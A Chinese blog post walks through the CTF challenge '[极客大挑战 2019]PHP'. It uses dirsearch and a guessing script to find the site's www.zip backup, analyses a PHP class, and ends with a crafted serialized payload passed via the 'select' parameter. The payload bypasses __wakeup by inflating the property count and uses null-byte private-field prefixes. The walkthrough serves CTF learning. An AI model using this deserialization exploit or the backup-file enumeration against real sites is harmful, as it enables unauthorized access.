当前位置:   article > 正文

[极客大挑战 2019]PHP1_[极客大挑战 2019]php 1

[极客大挑战 2019]php 1

1. 进去发现网页做的挺有意思的,是一张用毛线球逗猫的网页,尝试老办法单击右键查看源代码,无果(因为没有),于是仔细观察网页,发现关键信息---备份网页

 2. 发现文件备份,所以准备把网站的目录给爆破出来,使用dirsearch

3. dirsearch的下载、安装以及使用

下载地址

https://github.com/maurosoria/dirsearch

点击Download here

之后将下载的文件压缩放在自己想放在的地方(为了方便,我选择把它放在桌面上)

注意,安装的python得是3.7及其以上版本(没有python的先安装python)

 

之后在当前窗口(你的dirsearch文件)直接输入cmd

接着使用命令安装dirsearch

 pip3 install -r requirements.txt

可能会出现以下错误提示

上面指出应该给pip3升级,所以我们根据提示给pip3进行升级

python -m pip install --upgrade pip

pip3更新成功,出现successful字样,之后继续进行dirsearch安装代码

pip3 install -r requirements.txt

可能还会出现

解决办法,关闭代理服务器,然后再执行dirsearch安装命令

 pip3 install -r requirements.txt

可喜可贺,dirsearch安装成功

4. 使用爆破工具dirsearch下载网页目录得到正确的压缩安装包,找到代码进行分析

python dirsearch.py -u (自己需要爆破的网址) -e (语言)

5. 出现一大堆各种各样文件,就算知道常用压缩文件名以及压缩文件名后缀也无法快速找出,这时,不妨来设计一段python代码,让符合常用压缩文件名和文件名后缀的文件在网址中遍历,最终只会得到一个可以访问网址的文件

注意,由于代码判断需要requests库,所以要进行安装

pip install requests

发现只有www.zip进行成功访问

6. 在原网址后面加上www.zip下载压缩包

对压缩包进行解压

7. 发现一个flag.php文件,打开

  1. <?php
  2. $flag = 'Syc{dog_dog_dog_dog}';
  3. ?>

输入flag,发现是错误的

8. 打开index.php文件看看

发现一段php代码

里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

8. 接着打开class.php文件

  1. <?php
  2. include 'flag.php';
  3. error_reporting(0);
  4. class Name{
  5. private $username = 'nonono';
  6. private $password = 'yesyes';
  7. public function __construct($username,$password){
  8. $this->username = $username;
  9. $this->password = $password;
  10. }
  11. function __wakeup(){
  12. $this->username = 'guest';
  13. }
  14. function __destruct(){
  15. if ($this->password != 100) {
  16. echo "</br>NO!!!hacker!!!</br>";
  17. echo "You name is: ";
  18. echo $this->username;echo "</br>";
  19. echo "You password is: ";
  20. echo $this->password;echo "</br>";
  21. die();
  22. }
  23. if ($this->username === 'admin') {
  24. global $flag;
  25. echo $flag;
  26. }else{
  27. echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
  28. die();
  29. }
  30. }
  31. }

 如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求

 9. 构造序列化

在代码后面加上

  1. <?php
  2. class Name{
  3. private $username = 'nonono';
  4. private $password = 'yesyes';
  5. public function __construct($username,$password){
  6. $this->username = $username;
  7. $this->password = $password;
  8. }
  9. }
  10. $a = new Name('admin', 100);
  11. var_dump(serialize($a));
  12. ?>

 10. 通过warmserver服务器运行得(可以在PHP菜鸟教程了解)

我将序列化后的文件class.php放在warmsecer文件下新建的class文件下,在浏览器上访问得

 11. 又因为在反序列化的时候,要执行_wakeup()魔方函数,导致username=guest

 

  1. function __wakeup(){
  2. $this->username = 'guest';
  3. }

 所以我们要要绕过这个函数,则让name大于2即可

于是得

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

 12. 又因为,username为private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

所以得

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 13. 最后又发现index.php中get  select

所以在网址后加上

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

就可以得到flag

 

 

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/464211
推荐阅读
相关标签
  

闽ICP备14008679号